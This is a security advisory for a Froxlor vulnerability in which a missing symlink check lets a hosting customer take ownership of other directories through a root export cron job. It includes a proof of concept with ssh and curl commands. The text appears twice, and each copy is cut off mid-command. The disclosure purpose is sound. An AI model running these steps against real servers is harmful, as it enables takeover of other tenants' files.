CVE-2026-41231

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

Summary

DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.

Details

The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).

Every customer-facing API command that builds a path from user input passes this parameter:

// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

But DataDump.add() was missed:

// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):

Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);

When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:

FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));

The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.

The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.

PoC

Prerequisites:

• system.exportenabled = 1 (admin setting)
• Customer account with API key and FTP/SSH access

# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'

# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
  https://panel.example.com/api.php

# Expected response: 200 OK with task_data including destdir

# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
#   mkdir -p '/var/customers/webs/attacker_customer/steal/'       (follows symlink, dir exists)
#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker's web data)
#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
#   mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.

# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la…

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

Summary

DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.

Details

The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).

Every customer-facing API command that builds a path from user input passes this parameter:

// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

But DataDump.add() was missed:

// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):

Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);

When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:

FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));

The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.

The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.

PoC

Prerequisites:

• system.exportenabled = 1 (admin setting)
• Customer account with API key and FTP/SSH access

# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'

# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
  https://panel.example.com/api.php

# Expected response: 200 OK with task_data including destdir

# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
#   mkdir -p '/var/customers/webs/attacker_customer/steal/'       (follows symlink, dir exists)
#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker's web data)
#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
#   mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.

# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la…